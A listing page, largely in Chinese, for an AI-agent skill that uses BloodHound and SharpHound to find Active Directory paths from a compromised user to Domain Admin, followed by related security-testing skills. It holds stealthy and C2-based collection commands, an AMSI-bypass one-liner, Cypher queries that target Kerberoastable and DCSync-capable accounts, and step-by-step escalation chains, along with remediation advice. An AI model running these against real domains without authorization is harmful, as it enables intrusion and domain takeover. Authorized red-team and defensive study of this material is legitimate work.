performing-active-directory-bloodhound-analysis
使用 BloodHound 和 SharpHound 枚举活动目录(Active Directory)关系,从已控制的用户识别到域管理员的攻击路径。
Best use case
performing-active-directory-bloodhound-analysis is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
使用 BloodHound 和 SharpHound 枚举活动目录(Active Directory)关系,从已控制的用户识别到域管理员的攻击路径。
Teams using performing-active-directory-bloodhound-analysis should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/performing-active-directory-bloodhound-analysis/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How performing-active-directory-bloodhound-analysis Compares
| Feature / Agent | performing-active-directory-bloodhound-analysis | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
使用 BloodHound 和 SharpHound 枚举活动目录(Active Directory)关系,从已控制的用户识别到域管理员的攻击路径。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 执行活动目录 BloodHound 分析
## 概述
BloodHound 是一个开源活动目录侦察工具,使用图论揭示 AD 环境中隐藏的关系、攻击路径和权限提升机会。通过使用 SharpHound(或用于 Azure AD 的 AzureHound)收集数据,BloodHound 可视化攻击者如何通过错误配置、组成员关系、ACL 滥用和信任关系链,从低权限用户升级到域管理员。MITRE ATT&CK 将 BloodHound 分类为软件 S0521。
## 前置条件
- 在域加入的 Windows 系统上的初始立足点(或有效的域凭据)
- 已安装 BloodHound CE(社区版)或 BloodHound Legacy 4.x
- SharpHound 收集器(C# 二进制文件或 PowerShell 模块)
- Neo4j 数据库(Legacy)或 PostgreSQL(CE)
- 到域控制器的网络访问(LDAP TCP/389、LDAPS TCP/636)
## MITRE ATT&CK 映射
| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1087.002 | 账户发现:域账户 | 发现 |
| T1069.002 | 权限组发现:域组 | 发现 |
| T1018 | 远程系统发现 | 发现 |
| T1482 | 域信任发现 | 发现 |
| T1615 | 组策略发现 | 发现 |
| T1069.001 | 权限组发现:本地组 | 发现 |
## 步骤一:使用 SharpHound 收集数据
### SharpHound.exe(OPSEC 优选)
```powershell
# 收集所有数据类型(用户、组、计算机、会话、ACL、信任、GPO)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip
# 隐蔽模式 - 仅收集结构数据(不进行会话枚举)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp
# 使用特定域和凭据收集
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123
# 循环收集 - 随时间收集会话以获得更好的覆盖率
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00
# 从 Havoc C2 Demon 会话收集(内存中)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp
```
### Invoke-BloodHound(PowerShell)
```powershell
# 导入并运行
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip
# 加载前的 AMSI 绕过(如有需要)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
### AzureHound(Azure AD)
```bash
# 收集 Azure AD 数据
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json
# 或使用 AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound
```
## 步骤二:将数据导入 BloodHound
### BloodHound CE(v5+)
```bash
# 使用 Docker 启动 BloodHound CE
curl -L https://ghst.ly/getbhce | docker compose -f - up
# 访问 Web 界面:https://localhost:8080
# 默认凭据:admin / bloodhound
# 通过 GUI 上传 ZIP 文件:上传数据 > 选择文件
```
### BloodHound Legacy
```bash
# 启动 Neo4j
sudo neo4j start
# 访问 Neo4j:http://localhost:7474(默认 neo4j:neo4j)
# 启动 BloodHound GUI
./BloodHound --no-sandbox
# 将 ZIP 文件拖放到 BloodHound GUI 中
```
## 步骤三:攻击路径分析
### 预置查询(最关键)
```cypher
-- 查找所有域管理员
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n
-- 从已控制用户到域管理员的最短路径
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- 查找具有到 DA 路径的 Kerberoastable 用户
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- 查找 AS-REP Roastable 用户
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname
-- 具有 DCSync 权限的用户
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name
-- 查找域用户是本地管理员的计算机
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p
-- 查找具有非约束委派的计算机
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
-- 查找约束委派滥用路径
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate
-- GPO 滥用路径
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50
-- 查找高价值目标上的所有会话
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name
```
### 自定义 Cypher 查询
```cypher
-- 查找对其他用户具有 GenericAll 权限的用户(密码重置路径)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name
-- 查找 WriteDACL 路径(ACL 滥用)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50
-- 查找对特权组的 AddMember 权限
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name
-- 映射信任关系
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name
-- 查找具有管理员访问权限的服务账户
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name
```
## 步骤四:常见攻击路径
### 路径一:Kerberoasting 到 DA
```
已控制用户 -> Kerberoastable SVC 账户 -> 破解哈希 -> SVC 是服务器管理员 ->
服务器有 DA 会话 -> 窃取令牌 -> 域管理员
```
### 路径二:ACL 滥用链
```
已控制用户 -> 对用户2 的 GenericAll -> 重置密码 -> 用户2 是成员 ->
IT 管理员 -> DC 管理员 -> 域管理员
```
### 路径三:非约束委派
```
已控制用户 -> 服务器管理员(非约束委派)->
强制 DC 认证(PrinterBug/PetitPotam)-> 捕获 TGT -> DCSync
```
### 路径四:GPO 滥用
```
已控制用户 -> GPO 上的 GenericWrite -> 修改 GPO -> OU 计算机上的计划任务 ->
以 SYSTEM 身份执行代码
```
## 步骤五:修复建议
| 发现 | 风险 | 修复措施 |
|---|---|---|
| Kerberoastable 的 DA | 严重 | 使用 gMSA、轮换密码、仅 AES |
| 非约束委派 | 严重 | 迁移到约束/RBCD 委派 |
| 域用户是本地管理员 | 高 | 从本地管理员中删除 DA,使用 LAPS |
| 过多的 ACL 权限 | 高 | 审计并减少 GenericAll/WriteDACL |
| 陈旧的管理员会话 | 中 | 实施会话清理,限制 RDP |
| 跨域信任滥用 | 高 | 审查信任方向和 SID 过滤 |
## 参考资料
- BloodHound GitHub: https://github.com/BloodHoundAD/BloodHound
- BloodHound CE: https://github.com/SpecterOps/BloodHound
- SharpHound: https://github.com/BloodHoundAD/SharpHound
- MITRE ATT&CK S0521: https://attack.mitre.org/software/S0521/
- SpecterOps BloodHound 文档: https://bloodhound.readthedocs.io/Related Skills
performing-yara-rule-development-for-detection
通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。
performing-wireless-security-assessment-with-kismet
使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。
performing-wireless-network-penetration-test
执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。
performing-windows-artifact-analysis-with-eric-zimmerman-tools
使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。
performing-wifi-password-cracking-with-aircrack
在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。
performing-web-cache-poisoning-attack
在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。
performing-web-cache-deception-attack
通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。
performing-web-application-vulnerability-triage
使用 OWASP 风险评级方法论对 DAST/SAST 扫描器的 Web 应用程序漏洞发现进行分类,区分真阳性和假阳性,并确定修复优先级。
performing-web-application-scanning-with-nikto
Nikto 是一款开源 Web 服务器和 Web 应用程序扫描器,可针对超过 7,000 个潜在危险文件/程序进行测试,检查超过 1,250 个服务器的过期版本,并识别超过 270 个服务器的版本特定问题。
performing-web-application-penetration-test
遵循 OWASP Web 安全测试指南(WSTG)方法论,对 Web 应用程序执行系统化安全测试,识别认证、授权、 输入验证、会话管理和业务逻辑中的漏洞。测试人员以 Burp Suite 作为主要拦截代理,结合手动测试技术 发现自动化扫描器遗漏的缺陷。适用于 Web 应用渗透测试、OWASP 测试、应用安全评估或 Web 漏洞测试等请求场景。
performing-web-application-firewall-bypass
使用编码技术、HTTP 方法操控、参数污染和载荷混淆绕过 Web 应用防火墙保护,将 SQL 注入、XSS 及其他攻击载荷穿透 WAF 检测规则。
performing-vulnerability-scanning-with-nessus
使用 Tenable Nessus 执行认证和未认证漏洞扫描,识别网络基础设施、服务器和应用程序中的已知漏洞、 错误配置、默认凭据和缺失补丁。扫描器将发现与 CVE 数据库和 CVSS 评分关联,生成优先级修复指导。 适用于漏洞扫描、Nessus 评估、补丁合规检查或自动化漏洞检测等请求场景。